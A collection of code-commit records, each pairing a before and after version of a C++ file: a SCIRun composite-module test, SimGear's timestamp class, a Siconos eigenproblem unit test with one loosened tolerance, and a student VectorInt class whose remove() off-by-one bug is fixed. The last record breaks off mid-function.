object_id=\"_4\">\n\t\t\t\t\t\t\t\t\t\t<which>3<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>0<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t<\/stateMap>\n\t\t\t\t\t<\/state>\n\t\t\t\t<\/second>\n\t\t\t<\/item>\n\t\t\t<item>\n\t\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t\t<second>\n\t\t\t\t\t<module>\n\t\t\t\t\t\t<package_name_>SCIRun<\/package_name_>\n\t\t\t\t\t\t<category_name_>NewField<\/category_name_>\n\t\t\t\t\t\t<module_name_>GetFieldBoundary<\/module_name_>\n\t\t\t\t\t<\/module>\n\t\t\t\t\t<state>\n\t\t\t\t\t\t<stateMap>\n\t\t\t\t\t\t\t<count>1<\/count>\n\t\t\t\t\t\t\t<item_version>0<\/item_version>\n\t\t\t\t\t\t\t<item>\n\t\t\t\t\t\t\t\t<first>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t<\/first>\n\t\t\t\t\t\t\t\t<second>\n\t\t\t\t\t\t\t\t\t<name>ProgrammableInputPortEnabled<\/name>\n\t\t\t\t\t\t\t\t\t<value object_id=\"_5\">\n\t\t\t\t\t\t\t\t\t\t<which>3<\/which>\n\t\t\t\t\t\t\t\t\t\t<value>0<\/value>\n\t\t\t\t\t\t\t\t\t<\/value>\n\t\t\t\t\t\t\t\t<\/second>\n\t\t\t\t\t\t\t<\/item>\n\t\t\t\t\t\t<\/stateMap>\n\t\t\t\t\t<\/state>\n\t\t\t\t<\/second>\n\t\t\t<\/item>\n\t\t<\/modules>\n\t\t<connections class_id=\"12\" tracking_level=\"0\" version=\"0\">\n\t\t\t<count>1<\/count>\n\t\t\t<item_version>0<\/item_version>\n\t\t\t<item class_id=\"13\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<moduleId1_>GetFieldBoundary:0<\/moduleId1_>\n\t\t\t\t<port1_ class_id=\"14\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t\t<name>BoundaryField<\/name>\n\t\t\t\t\t<id>0<\/id>\n\t\t\t\t<\/port1_>\n\t\t\t\t<moduleId2_>FairMesh:0<\/moduleId2_>\n\t\t\t\t<port2_>\n\t\t\t\t\t<name>Input_Mesh<\/name>\n\t\t\t\t\t<id>0<\/id>\n\t\t\t\t<\/port2_>\n\t\t\t<\/item>\n\t\t<\/connections>\n\t<\/networkInfo>\n\t<modulePositions class_id=\"15\" tracking_level=\"0\" version=\"0\">\n\t\t<count>2<\/count>\n\t\t<item_version>0<\/item_version>\n\t\t<item class_id=\"16\" tracking_level=\"0\" version=\"0\">\n\t\t\t<first>FairMesh:0<\/first>\n\t\t\t<second class_id=\"17\" tracking_level=\"0\" version=\"0\">\n\t\t\t\t<first>-4.90000000000000000e+02<\/first>\n\t\t\t\t<second>-3.80000000000000000e+02<\/second>\n\t\t\t<\/second>\n\t\t<\/item>\n\t\t<item>\n\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t<second>\n\t\t\t\t<first>-5.32000000000000000e+02<\/first>\n\t\t\t\t<second>-4.56000000000000000e+02<\/second>\n\t\t\t<\/second>\n\t\t<\/item>\n\t<\/modulePositions>\n\t<moduleNotes class_id=\"18\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/moduleNotes>\n\t<connectionNotes>\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/connectionNotes>\n\t<moduleTags class_id=\"19\" tracking_level=\"0\" version=\"0\">\n\t\t<count>2<\/count>\n\t\t<item_version>0<\/item_version>\n\t\t<item class_id=\"20\" tracking_level=\"0\" version=\"0\">\n\t\t\t<first>FairMesh:0<\/first>\n\t\t\t<second>-1<\/second>\n\t\t<\/item>\n\t\t<item>\n\t\t\t<first>GetFieldBoundary:0<\/first>\n\t\t\t<second>-1<\/second>\n\t\t<\/item>\n\t<\/moduleTags>\n\t<disabledModules class_id=\"21\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/disabledModules>\n\t<disabledConnections>\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/disabledConnections>\n\t<moduleTagLabels class_id=\"22\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/moduleTagLabels>\n\t<loadTagGroups>0<\/loadTagGroups>\n\t<subnetworks class_id=\"23\" tracking_level=\"0\" version=\"0\">\n\t\t<count>0<\/count>\n\t\t<item_version>0<\/item_version>\n\t<\/subnetworks>\n<\/networkFragment>\n<\/boost_serialization>\n\n\" ));\n*\/\n\n}\n\nvoid CompositeModuleTestGFB_FM::execute()\n{\n remark(\"Basic composite module concept part 1\");\n\n auto subNet = network()->createSubnetwork();\n if (subNet)\n {\n remark(\"Subnet created.\");\n }\n else\n {\n error(\"Subnet null\");\n return;\n }\n if (!subNet->getNetwork())\n {\n error(\"Subnet's network state is null\");\n return;\n }\n auto gfb = subNet->addModule({\"GetFieldBoundary\", \"...\", \",,,\"});\n auto fm = subNet->addModule({\"FairMesh\", \"...\", \",,,\"});\n if (subNet->getNetwork()->nmodules() == 2)\n {\n remark(\"Created subnet with 2 modules\");\n }\n else\n {\n error(\"Subnet missing modules\");\n return;\n }\n auto conn = subNet->requestConnection(gfb->outputPorts()[0].get(), fm->inputPorts()[0].get());\n if (conn && subNet->getNetwork()->nconnections() == 1)\n {\n remark(\"Created connection between 2 modules\");\n }\n else\n {\n error(\"Connection error\");\n return;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file timestamp.cxx\n * Provides a class for managing a timestamp (seconds & milliseconds.)\n *\/\n\n\/\/ Written by Curtis Olson, started December 1998.\n\/\/\n\/\/ Copyright (C) 1998 Curtis L. Olson - curt@flightgear.org\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful, but\n\/\/ WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\/\/\n\/\/ $Id$\n\n\n#ifdef HAVE_CONFIG_H\n# include <simgear_config.h>\n#endif\n\n#ifdef HAVE_WINDOWS_H\n# include <windows.h>\n#endif\n\n#include <simgear\/compiler.h>\n\n#ifdef SG_HAVE_STD_INCLUDES\n# include <ctime>\n#else\n# include <time.h>\n#endif\n\n#ifdef HAVE_SYS_TIMEB_H\n# include <sys\/timeb.h> \/\/ for ftime() and struct timeb\n#endif\n#ifdef HAVE_UNISTD_H\n# include <unistd.h> \/\/ for gettimeofday()\n#endif\n#ifdef HAVE_SYS_TIME_H\n# include <sys\/time.h> \/\/ for get\/setitimer, gettimeofday, struct timeval\n#endif\n\n\/\/ -dw- want to use metrowerks time.h\n#ifdef macintosh\n# include <time.h>\n# include <timer.h>\n#endif\n\n#ifdef WIN32\n# include <windows.h>\n# if defined( __CYGWIN__ ) || defined( __CYGWIN32__ )\n# define NEAR \/* *\/\n# define FAR \/* *\/\n# endif\n# include <mmsystem.h>\n#endif\n\n#include \"timestamp.hxx\"\n\n\nvoid SGTimeStamp::stamp() {\n#if defined( WIN32 )\n unsigned int t;\n t = timeGetTime();\n seconds = 0;\n usec = t * 1000;\n#elif defined( HAVE_GETTIMEOFDAY )\n struct timeval current;\n struct timezone tz;\n \/\/ sg_timestamp currtime;\n gettimeofday(¤t, &tz);\n seconds = current.tv_sec;\n usec = current.tv_usec;\n#elif defined( HAVE_GETLOCALTIME )\n SYSTEMTIME current;\n GetLocalTime(¤t);\n seconds = current.wSecond;\n usec = current.wMilliseconds * 1000;\n#elif defined( HAVE_FTIME )\n struct timeb current;\n ftime(¤t);\n seconds = current.time;\n usec = current.millitm * 1000;\n\/\/ -dw- uses time manager\n#elif defined( macintosh )\n UnsignedWide ms;\n Microseconds(&ms);\n\t\n seconds = ms.lo \/ 1000000;\n usec = ms.lo - ( seconds * 1000000 );\n#else\n# error Port me\n#endif\n}\n\n\/\/ increment the time stamp by the number of microseconds (usec)\nSGTimeStamp operator + (const SGTimeStamp& t, const long& m) {\n#ifdef WIN32\n return SGTimeStamp( 0, t.usec + m );\n#else\n return SGTimeStamp( t.seconds + ( t.usec + m ) \/ 1000000,\n\t\t\t( t.usec + m ) % 1000000 );\n#endif\n}\n\n\/\/ difference between time stamps in microseconds (usec)\nlong operator - (const SGTimeStamp& a, const SGTimeStamp& b)\n{\n#if defined( WIN32 )\n return a.usec - b.usec;\n#else\n return 1000000 * (a.seconds - b.seconds) + (a.usec - b.usec);\n#endif\n}\n<commit_msg>tweak.<commit_after>\/**\n * \\file timestamp.cxx\n * Provides a class for managing a timestamp (seconds & milliseconds.)\n *\/\n\n\/\/ Written by Curtis Olson, started December 1998.\n\/\/\n\/\/ Copyright (C) 1998 Curtis L. Olson - curt@flightgear.org\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful, but\n\/\/ WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\/\/\n\/\/ $Id$\n\n\n#ifdef HAVE_CONFIG_H\n# include <simgear_config.h>\n#endif\n\n#ifdef HAVE_WINDOWS_H\n# include <windows.h>\n#endif\n\n#include <simgear\/compiler.h>\n\n#ifdef SG_HAVE_STD_INCLUDES\n# include <ctime>\n#else\n# include <time.h>\n#endif\n\n#ifdef HAVE_SYS_TIMEB_H\n# include <sys\/timeb.h> \/\/ for ftime() and struct timeb\n#endif\n#ifdef HAVE_UNISTD_H\n# include <unistd.h> \/\/ for gettimeofday()\n#endif\n#ifdef HAVE_SYS_TIME_H\n# include <sys\/time.h> \/\/ for get\/setitimer, gettimeofday, struct timeval\n#endif\n\n\/\/ -dw- want to use metrowerks time.h\n#ifdef macintosh\n# include <time.h>\n# include <timer.h>\n#endif\n\n#ifdef WIN32\n# include <windows.h>\n# if defined( __CYGWIN__ ) || defined( __CYGWIN32__ )\n# define NEAR \/* *\/\n# define FAR \/* *\/\n# endif\n# include <mmsystem.h>\n#endif\n\n#include \"timestamp.hxx\"\n\n\nvoid SGTimeStamp::stamp() {\n#if defined( WIN32 )\n unsigned int t;\n t = timeGetTime();\n seconds = 0;\n usec = t * 1000;\n#elif defined( HAVE_GETTIMEOFDAY )\n struct timeval current;\n struct timezone tz;\n \/\/ sg_timestamp currtime;\n gettimeofday(¤t, &tz);\n seconds = current.tv_sec;\n usec = current.tv_usec;\n#elif defined( HAVE_GETLOCALTIME )\n SYSTEMTIME current;\n GetLocalTime(¤t);\n seconds = current.wSecond;\n usec = current.wMilliseconds * 1000;\n#elif defined( HAVE_FTIME )\n struct timeb current;\n ftime(¤t);\n seconds = current.time;\n usec = current.millitm * 1000;\n\/\/ -dw- uses time manager\n#elif defined( macintosh )\n UnsignedWide ms;\n Microseconds(&ms);\n\t\n seconds = ms.lo \/ 1000000;\n usec = ms.lo - ( seconds * 1000000 );\n#else\n# error Port me\n#endif\n}\n\n\/\/ increment the time stamp by the number of microseconds (usec)\nSGTimeStamp operator + (const SGTimeStamp& t, const long& m) {\n#if defined( WIN32 )\n return SGTimeStamp( 0, t.usec + m );\n#else\n return SGTimeStamp( t.seconds + ( t.usec + m ) \/ 1000000,\n\t\t\t( t.usec + m ) % 1000000 );\n#endif\n}\n\n\/\/ difference between time stamps in microseconds (usec)\nlong operator - (const SGTimeStamp& a, const SGTimeStamp& b)\n{\n#if defined( WIN32 )\n return a.usec - b.usec;\n#else\n return 1000000 * (a.seconds - b.seconds) + (a.usec - b.usec);\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Siconos is a program dedicated to modeling, simulation and control\n * of non smooth dynamical systems.\n *\n * Copyright 2022 INRIA.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n*\/\n#include \"SiconosConfig.h\"\n\n#include \"EigenProblemsTest.hpp\"\n#include \"SiconosAlgebra.hpp\"\n#include \"SimpleMatrixFriends.hpp\"\n#include \"bindings_utils.hpp\"\n#include <limits>\n#include <iostream>\n#include <boost\/numeric\/ublas\/io.hpp>\n#include <boost\/numeric\/ublas\/matrix_proxy.hpp>\n#include \"SiconosVector.hpp\"\n\n#define CPPUNIT_ASSERT_NOT_EQUAL(message, alpha, omega) \\\n if ((alpha) == (omega)) CPPUNIT_FAIL(message);\n\n\n\/\/ Note FP : add tests for complex matrices and geev, if needed (?)\n\nCPPUNIT_TEST_SUITE_REGISTRATION(EigenProblemsTest);\n\nvoid EigenProblemsTest::setUp()\n{\n size = 5;\n A.reset(new SimpleMatrix(size,size));\n \/\/ Initialize A with random values.\n A->randomize();\n Aref.reset(new SimpleMatrix(*A));\n}\n\nvoid EigenProblemsTest::tearDown()\n{}\n\nvoid EigenProblemsTest::testSyev()\n{\n std::cout << \"--> Test: syev.\" <<std::endl;\n\n \/\/ turn A to a symmetric matrix\n A->randomize_sym();\n *Aref = *A;\n\n \/\/ Initialize EigenVectors with A\n SP::SiconosVector EigenValues(new SiconosVector(size));\n SP::SimpleMatrix EigenVectors(new SimpleMatrix(*A));\n\/\/ *EigenVectors = *A;\n\n Siconos::eigenproblems::syev(*EigenValues, *EigenVectors);\n\n DenseVect error(size);\n error *= 0.0;\n\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(*EigenVectors->dense(), i)));\n error.minus_assign((*EigenValues->dense())(i)*column(*EigenVectors->dense(),i));\n }\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 1: \", norm_2(error) < 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 2: \", (*A) == (*Aref), true);\n\n \/\/ Now compute only eigenvalues\n SP::SiconosVector RefEigenValues(new SiconosVector(*EigenValues));\n *EigenVectors = *A;\n *EigenValues *= 0.0;\n Siconos::eigenproblems::syev(*EigenValues, *EigenVectors, false);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 3: \", ((*EigenValues) - (*RefEigenValues)).norm2() < 10 * std::numeric_limits< double >::epsilon(), true);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 4: \", (*A) == (*Aref), true);\n std::cout << \"--> Syev test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev1()\n{\n std::cout << \"--> Test: geev1.\" <<std::endl;\n \/\/ Compute only right eigenvectors.\n complex_matrix fake(1,1), rightV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, fake, rightV);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(rightV, i)));\n error.minus_assign(eigenval(i)*column(rightV,i));\n }\n\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 1: \", norm_2(error) < 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 2: \", (*A) == (*Aref), true);\n \/\/ Now compute only eigenvalues\n complex_vector RefEigenValues(size);\n RefEigenValues = eigenval;\n eigenval *= 0.0;\n Siconos::eigenproblems::geev(*A, eigenval, fake, fake, false, false);\n\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 3: \", norm_2(eigenval - RefEigenValues) < 10 * std::numeric_limits< double >::epsilon(), true);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 4: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev1 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev2()\n{\n std::cout << \"--> Test: geev2.\" <<std::endl;\n \/\/ Compute only left eigenvectors.\n complex_matrix fake(1,1), leftV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, leftV, fake, true, false);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(conj(column(leftV, i)), *A->dense()));\n error.minus_assign(eigenval(i)*conj(column(leftV,i)));\n }\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev2 1: \", norm_2(error) < 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev2 2: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev1 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev3()\n{\n std::cout << \"--> Test: geev3.\" <<std::endl;\n\n \/\/ Compute left and right eigenvectors.\n complex_matrix leftV(size,size), rightV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, leftV, rightV, true, true);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(rightV, i)));\n error.minus_assign(eigenval(i)*column(rightV,i));\n error.plus_assign(ublas::prod(conj(column(leftV, i)), *A->dense()));\n error.minus_assign(eigenval(i)*conj(column(leftV,i)));\n }\n std::cout << norm_2(error) << std::endl;\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev3 1: \", norm_2(error) < size * 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev3 2: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev3 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::End()\n{\n std::cout << \"======================================\" <<std::endl;\n std::cout << \" ===== End of EigenProblems tests ===== \" <<std::endl;\n std::cout << \"======================================\" <<std::endl;\n}\n<commit_msg>[docker-build] Rebuild docker images. Fix failing test<commit_after>\/* Siconos is a program dedicated to modeling, simulation and control\n * of non smooth dynamical systems.\n *\n * Copyright 2022 INRIA.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n*\/\n#include \"SiconosConfig.h\"\n\n#include \"EigenProblemsTest.hpp\"\n#include \"SiconosAlgebra.hpp\"\n#include \"SimpleMatrixFriends.hpp\"\n#include \"bindings_utils.hpp\"\n#include <limits>\n#include <iostream>\n#include <boost\/numeric\/ublas\/io.hpp>\n#include <boost\/numeric\/ublas\/matrix_proxy.hpp>\n#include \"SiconosVector.hpp\"\n\n#define CPPUNIT_ASSERT_NOT_EQUAL(message, alpha, omega) \\\n if ((alpha) == (omega)) CPPUNIT_FAIL(message);\n\n\n\/\/ Note FP : add tests for complex matrices and geev, if needed (?)\n\nCPPUNIT_TEST_SUITE_REGISTRATION(EigenProblemsTest);\n\nvoid EigenProblemsTest::setUp()\n{\n size = 5;\n A.reset(new SimpleMatrix(size,size));\n \/\/ Initialize A with random values.\n A->randomize();\n Aref.reset(new SimpleMatrix(*A));\n}\n\nvoid EigenProblemsTest::tearDown()\n{}\n\nvoid EigenProblemsTest::testSyev()\n{\n std::cout << \"--> Test: syev.\" <<std::endl;\n\n \/\/ turn A to a symmetric matrix\n A->randomize_sym();\n *Aref = *A;\n\n \/\/ Initialize EigenVectors with A\n SP::SiconosVector EigenValues(new SiconosVector(size));\n SP::SimpleMatrix EigenVectors(new SimpleMatrix(*A));\n\/\/ *EigenVectors = *A;\n\n Siconos::eigenproblems::syev(*EigenValues, *EigenVectors);\n\n DenseVect error(size);\n error *= 0.0;\n\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(*EigenVectors->dense(), i)));\n error.minus_assign((*EigenValues->dense())(i)*column(*EigenVectors->dense(),i));\n }\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 1: \", norm_2(error) < 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 2: \", (*A) == (*Aref), true);\n\n \/\/ Now compute only eigenvalues\n SP::SiconosVector RefEigenValues(new SiconosVector(*EigenValues));\n *EigenVectors = *A;\n *EigenValues *= 0.0;\n Siconos::eigenproblems::syev(*EigenValues, *EigenVectors, false);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 3: \", ((*EigenValues) - (*RefEigenValues)).norm2() < 10 * std::numeric_limits< double >::epsilon(), true);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testSyev 4: \", (*A) == (*Aref), true);\n std::cout << \"--> Syev test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev1()\n{\n std::cout << \"--> Test: geev1.\" <<std::endl;\n \/\/ Compute only right eigenvectors.\n complex_matrix fake(1,1), rightV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, fake, rightV);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(rightV, i)));\n error.minus_assign(eigenval(i)*column(rightV,i));\n }\n\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 1: \", norm_2(error) < 12 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 2: \", (*A) == (*Aref), true);\n \/\/ Now compute only eigenvalues\n complex_vector RefEigenValues(size);\n RefEigenValues = eigenval;\n eigenval *= 0.0;\n Siconos::eigenproblems::geev(*A, eigenval, fake, fake, false, false);\n\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 3: \", norm_2(eigenval - RefEigenValues) < 10 * std::numeric_limits< double >::epsilon(), true);\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev1 4: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev1 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev2()\n{\n std::cout << \"--> Test: geev2.\" <<std::endl;\n \/\/ Compute only left eigenvectors.\n complex_matrix fake(1,1), leftV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, leftV, fake, true, false);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(conj(column(leftV, i)), *A->dense()));\n error.minus_assign(eigenval(i)*conj(column(leftV,i)));\n }\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev2 1: \", norm_2(error) < 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev2 2: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev1 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::testGeev3()\n{\n std::cout << \"--> Test: geev3.\" <<std::endl;\n\n \/\/ Compute left and right eigenvectors.\n complex_matrix leftV(size,size), rightV(size,size);\n complex_vector eigenval(size);\n Siconos::eigenproblems::geev(*A, eigenval, leftV, rightV, true, true);\n complex_vector error(size);\n for(unsigned int i = 0; i < size; ++i) error(i) = 0.0;\n for(unsigned int i = 0; i < size; ++i)\n {\n error.plus_assign(ublas::prod(*A->dense(), column(rightV, i)));\n error.minus_assign(eigenval(i)*column(rightV,i));\n error.plus_assign(ublas::prod(conj(column(leftV, i)), *A->dense()));\n error.minus_assign(eigenval(i)*conj(column(leftV,i)));\n }\n std::cout << norm_2(error) << std::endl;\n \/\/ Check ...\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev3 1: \", norm_2(error) < size * 10 * std::numeric_limits< double >::epsilon(), true);\n \/\/ Check if A has not been modified\n CPPUNIT_ASSERT_EQUAL_MESSAGE(\"testGeev3 2: \", (*A) == (*Aref), true);\n\n std::cout << \"--> geev3 test ended with success.\" <<std::endl;\n}\n\nvoid EigenProblemsTest::End()\n{\n std::cout << \"======================================\" <<std::endl;\n std::cout << \" ===== End of EigenProblems tests ===== \" <<std::endl;\n std::cout << \"======================================\" <<std::endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ VectorInt.cpp\r\n\/\/ Implementation of our Vector of ints class\r\n\r\n#include \"VectorInt.h\"\r\n\r\n\/\/ constructor\r\nVectorInt::VectorInt() {\r\n capacity = INITIAL_CAPACITY;\r\n count = 0;\r\n elements = new int[capacity];\r\n}\r\n\r\n\/\/ destructor\r\nVectorInt::~VectorInt() {\r\n delete [] elements;\r\n}\r\n\r\n\/\/ append value at end\r\nvoid VectorInt::add(int value) {\r\n if (count == capacity) {\r\n expand();\r\n }\r\n \/\/ add to end of array\r\n elements[count] = value;\r\n count++;\r\n}\r\n\r\n\/\/ insert a value at index\r\nvoid VectorInt::insert(int index, int value) {\r\n if (count == capacity) {\r\n expand();\r\n }\r\n \/\/ move elements after index to the right\r\n for (int i=count; i > index; i--) {\r\n elements[i] = elements[i-1];\r\n }\r\n elements[index] = value;\r\n count++;\r\n}\r\n\r\n\/\/ return value at index\r\nint VectorInt::get(int index) {\r\n return elements[index];\r\n}\r\n\r\n\/\/ remove value at index\r\nvoid VectorInt::remove(int index) {\r\n for (int i=index; i < count; i++) {\r\n elements[i] = elements[i+1];\r\n }\r\n count--;\r\n}\r\n\r\n\/\/ return the number of elements in the array\r\nint VectorInt::size() {\r\n return count;\r\n}\r\n\r\n\/\/ true if zero elements\r\nbool VectorInt::isEmpty() {\r\n return count == 0;\r\n}\r\n\r\n\/\/ overload <<\r\nostream &operator<<(ostream &out, VectorInt &vec) {\r\n out << \"[\";\r\n for (int i=0; i < vec.count; i++) {\r\n out << vec.elements[i];\r\n if (i < vec.count - 1) {\r\n out << \", \";\r\n }\r\n }\r\n out << \"]\";\r\n return out;\r\n}\r\n\r\n\/\/ expand\r\nvoid VectorInt::expand() {\r\n \/\/ 1. create space for new array\r\n int *newElements = new int[capacity * 2];\r\n\r\n \/\/ 2. copy the elements\r\n for (int i=0; i < count; i++) {\r\n newElements[i] = elements[i];\r\n }\r\n\r\n \/\/ 3. delete old array\r\n delete [] elements;\r\n\r\n \/\/ 4. point elements to new array\r\n elements = newElements;\r\n\r\n \/\/ 5. update capacity\r\n capacity *= 2;\r\n}\r\n<commit_msg>fixed bug in VectorInt<commit_after>\/\/ VectorInt.cpp\r\n\/\/ Implementation of VectorInt class\r\n\r\n#include \"VectorInt.h\"\r\n\r\n\/\/ constructor\r\nVectorInt::VectorInt(){\r\n capacity = INITIAL_CAPACITY;\r\n elements = new int[capacity];\r\n count = 0;\r\n}\r\n\r\n\/\/ destructor\r\nVectorInt::~VectorInt(){\r\n delete [] elements;\r\n}\r\n\r\n\/\/ append value to the end of our array\r\nvoid VectorInt::add(int value){\r\n if (count == capacity) {\r\n expand();\r\n }\r\n elements[count] = value;\r\n count++;\r\n}\r\n\r\n\/\/ insert value at index\r\nvoid VectorInt::insert(int index, int value){\r\n if (count == capacity) {\r\n expand();\r\n }\r\n for (int i=count; i > index; i--) {\r\n elements[i] = elements[i-1];\r\n }\r\n elements[index] = value;\r\n count++;\r\n}\r\n\r\n\/\/ return the element at index\r\nint VectorInt::get(int index){\r\n return elements[index];\r\n}\r\n\r\n\/\/ remove value from index\r\nvoid VectorInt::remove(int index){\r\n for (int i=index; i < count - 1; i++) {\r\n elements[i] = elements[i+1];\r\n }\r\n count--;\r\n}\r\n\r\n\/\/ returns the number of elements\r\nint VectorInt::size(){\r\n return count;\r\n}\r\n\r\n\/\/ returns true if there aren't any elements\r\nbool VectorInt::isEmpty(){\r\n return count == 0;\r\n}\r\n\r\n\/\/ overload << operator\r\nostream &operator<<(ostream &out, VectorInt &vec){\r\n out << \"[\";\r\n for (int i=0; i < 